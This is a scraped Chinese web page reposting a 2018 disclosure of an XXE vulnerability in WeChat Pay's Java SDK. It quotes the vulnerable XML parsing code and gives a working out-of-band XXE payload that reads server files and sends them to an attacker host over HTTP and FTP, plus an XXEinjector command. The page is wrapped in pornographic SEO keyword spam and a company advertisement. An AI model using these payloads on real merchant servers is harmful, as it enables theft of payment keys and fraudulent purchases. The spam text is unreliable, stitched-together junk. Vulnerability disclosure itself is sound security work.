欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

微信支付SDK存在XXE漏洞

微信支付SDK存在XXE漏洞

漏洞信息來(lái)源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

創(chuàng)新互聯(lián)專(zhuān)注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、網(wǎng)站制作、沈丘網(wǎng)絡(luò)推廣、微信小程序、沈丘網(wǎng)絡(luò)營(yíng)銷(xiāo)、沈丘企業(yè)策劃、沈丘品牌公關(guān)、搜索引擎seo、人物專(zhuān)訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供沈丘建站搭建服務(wù),24小時(shí)服務(wù)熱線:028-86922220,官方網(wǎng)址:aaarwkj.com

0x00受影響版本:

JAVA SDK,WxPayAPI_JAVA_v3,建議使用了該版本的公司進(jìn)行異常支付排查。
微信在JAVA版本的SDK中提供callback回調(diào)功能,用來(lái)幫助商家接收異步付款結(jié)果,該接口接受XML格式的數(shù)據(jù),×××者可以構(gòu)造惡意的回調(diào)數(shù)據(jù)(XML格式)來(lái)竊取商家服務(wù)器上的任何信息。一旦×××者獲得了關(guān)鍵支付的安全密鑰(md5-key和商家信息,將可以直接實(shí)現(xiàn)0元支付購(gòu)買(mǎi)任何商品)

0x01漏洞詳情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

   README.md in  WxPayApi_JAVA_v3.zip,it show more details:

   notify code example:
    [
        String notifyData = "....";
        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        else {
         }

     ]
    WXPayUtil source code
   [

  public static Map<String, String> xmlToMap(String strXML) throws
Exception {
    try {
            Map<String, String> data = new HashMap<String, String>();
            /*** not disabled xxe *****/
            //start parse

            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse

            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }
    }

]

微信支付SDK存在XXE漏洞

0x02利用細(xì)節(jié)

Post merchant notification url with payload:
找到商家的notify


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT

名稱欄目:微信支付SDK存在XXE漏洞
分享網(wǎng)址:http://aaarwkj.com/article44/isjihe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、動(dòng)態(tài)網(wǎng)站App開(kāi)發(fā)做網(wǎng)站、自適應(yīng)網(wǎng)站、網(wǎng)站排名

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站
调教亚洲另类唯美第二页| 六月丁香花五月婷婷| 久久青草视频在线观看| 色吊丝二区三区中文字幕| 欧美日韩亚洲视频二区| 亚洲成在人线天堂网站| 久久久这里只有精品99| 一区二区中文字幕日本韩国| 免费在线观看日韩av大片| 人妻免费精品久久一区| 成人综合影视中文字幕| 美女性生活免费视频网站| 丰满的熟妇女教师水多| 可以直接看内射的视频| 欧美中文字幕内射合集| 蜜臀久久精品国产综合| 无遮挡动漫网站免费观看| 一区二区五区日韩国产| 日韩欧美国产成人在线观看| 亚州无吗一区二区三区| 亚洲国产天堂久久综合| 色呦呦视频在线免费观看| 亚洲中文无码亚洲人vr在线| 国产中文字幕精品在线| 国产男女视频免费观看| 亚洲男人av天堂东京热| 最近免费欧美一级黄片| 成人偷拍自拍在线视频| av剧情免费在线观看| 欧美成人极品一区二区三区| 亚洲另类偷拍校园伦理| 日本午夜熟女九色视频| 成人午夜激情四射av| 亚洲综合色婷婷在线影院| 精品国产综合一区二区三区| 福利av一区二区三区| 欧美日韩在线国产一区| 偷拍色图一区二区二区| 香蕉视频在线观看亚洲精品| 操国产熟女大白屁股| 一区二区三区一级黄色|